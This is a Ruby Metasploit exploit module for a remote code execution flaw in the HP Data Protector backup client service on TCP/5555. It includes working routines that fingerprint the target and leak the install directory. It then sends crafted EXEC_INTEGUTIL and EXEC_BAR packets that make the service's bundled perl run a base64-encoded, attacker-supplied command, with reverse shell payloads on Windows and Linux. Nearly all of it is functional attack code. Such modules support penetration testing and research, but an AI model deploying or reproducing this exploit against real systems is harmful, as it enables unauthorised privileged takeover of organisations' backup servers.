##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Data Protector EXEC_INTEGUTIL Remote Code Execution',
'Description' => %q{
This exploit abuses a vulnerability in the HP Data Protector. The vulnerability exists
in the Backup client service, which listens by default on TCP/5555. The EXEC_INTEGUTIL
request allows to execute arbitrary commands from a restricted directory. Since it
includes a perl executable, it's possible to use an EXEC_INTEGUTIL packet to execute
arbitrary code. On linux targets, the perl binary isn't on the restricted directory, but
an EXEC_BAR packet can be used to access the perl binary, even in the last version of HP
Data Protector for linux. This module has been tested successfully on HP Data Protector
9 over Windows 2008 R2 64 bits and CentOS 6 64 bits.
},
'Author' =>
[
'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # vulnerability discovery
'juan vazquez' # msf module
],
'References' =>
[
[ 'ZDI', '14-344']
],
'Payload' =>
{
'DisableNops' => true
},
'DefaultOptions' =>
{
# The powershell embedded payload takes some time to deploy
'WfsDelay' => 20
},
'Targets' =>
[
[ 'Linux 64 bits / HP Data Protector 9',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'perl gawk bash-tcp openssl python generic'
}
}
}
],
[ 'Windows 64 bits / HP Data Protector 9',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'powershell'
}
}
}
]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Oct 2 2014'
))
register_options(
[
Opt::RPORT(5555)
], self.class)
end
def check
fingerprint = get_fingerprint
if fingerprint.nil?
return Exploit::CheckCode::Unknown
end
if fingerprint =~ /Data Protector A\.(\d+\.\d+)/
version = $1
vprint_status("#{peer} - Windows / HP Data Protector version #{version} found")
elsif fingerprint =~ / INET/
vprint_status("#{peer} - Linux / HP Data Protector found")
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
if Gem::Version.new(version) <= Gem::Version.new('9')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Detected # there is no patch at the time of module writing
end
def exploit
rand_exec = rand_text_alpha(8)
print_status("#{peer} - Leaking the HP Data Protector directory...")
leak = leak_hp_directory(rand_exec)
dir = parse_dir(leak, rand_exec)
if dir.nil?
dir = default_hp_dir
print_error("#{peer} - HP Data Protector dir not found, using the default #{dir}")
else
unless valid_target?(dir)
print_error("#{peer} - HP Data Protector directory leaked as #{dir}, #{target.name} looks incorrect, trying anyway...")
end
end
if target.name =~ /Windows/
#command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
print_status("#{peer} - Executing payload...")
execute_windows(payload.encoded, dir)
else
print_status("#{peer} - Executing payload...")
execute_linux(payload.encoded, dir)
end
end
def peer
"#{rhost}:#{rport}"
end
def build_pkt(fields)
data = "\xff\xfe" # BOM Unicode
fields.each do |v|
data << "#{Rex::Text.to_unicode(v)}\x00\x00"
data << Rex::Text.to_unicode(" ") # Separator
end
data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
return [data.length].pack("N") + data
end
def get_fingerprint
fingerprint = get_fingerprint_windows
if fingerprint.nil?
fingerprint = get_fingerprint_linux
end
fingerprint
end
def get_fingerprint_linux
connect
sock.put([2].pack("N") + "\xff\xfe")
begin
res = sock.get_once(4)
rescue EOFError
disconnect
return nil
end
if res.nil?
disconnect
return nil
else
length = res.unpack("N")[0]
end
begin
res = sock.get_once(length)
rescue EOFError
return nil
ensure
disconnect
end
if res.nil?
return nil
end
res
end
def get_fingerprint_windows
connect
sock.put(rand_text_alpha_upper(64))
begin
res = sock.get_once(4)
rescue ::Errno::ECONNRESET, EOFError
disconnect
return nil
end
if res.nil?
disconnect
return nil
else
length = res.unpack("N")[0]
end
begin
res = sock.get_once(length)
rescue EOFError
return nil
ensure
disconnect
end
if res.nil?
return nil
end
Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null
end
def leak_hp_directory(rand_exec)
connect
pkt = build_pkt([
"2", # Message Type
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
"28", # Opcode EXEC_INTEGUTIL
rand_exec,
])
sock.put(pkt)
begin
res = sock.get_once(4)
rescue EOFError
disconnect
return nil
end
if res.nil?
disconnect
return nil
else
length = res.unpack("N")[0]
end
begin
res = sock.get_once(length)
rescue EOFError
return nil
ensure
disconnect
end
if res.nil?
return nil
end
if res =~ /No such file or directory/ # Linux signature
return res
else # deal as windows target
return Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null
end
end
def parse_dir(data, clue)
if data && data =~ /The system cannot find the file specified\..*(.:\\.*)bin\\#{clue}/
dir = $1
print_good("#{peer} - HP Data Protector directory found on #{dir}")
elsif data && data =~ /\]\x00 (\/.*)lbin\/#{clue}\x00 \[\d\] No such file or directory/
dir = $1
print_good("#{peer} - HP Data Protector directory found on #{dir}")
else
dir = nil
end
dir
end
def valid_target?(dir)
if target.name =~ /Windows/ && dir =~ /^[A-Za-z]:\\/
return true
elsif target.name =~ /Linux/ && dir.start_with?('/')
return true
end
false
end
def default_hp_dir
if target.name =~ /Windows/
dir = 'C:\\Program Files\\OmniBack\\'
else # linux
dir = '/opt/omni/lbin/'
end
dir
end
def execute_windows(cmd, hp_dir)
connect
pkt = build_pkt([
"2", # Message Type
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
"28", # Opcode EXEC_INTEGUTIL
"perl.exe",
"-I#{hp_dir}lib\\perl",
"-MMIME::Base64",
"-e",
"system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))"
])
sock.put(pkt)
disconnect
end
def execute_linux(cmd, hp_dir)
connect
pkt = build_pkt([
'2', # Message Type
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
'11', # Opcode EXEC_BAR
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
"../bin/perl",
rand_text_alpha(8),
"-I#{hp_dir}lib/perl",
'-MMIME::Base64',
'-e',
"system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))"
])
sock.put(pkt)
disconnect
end
end
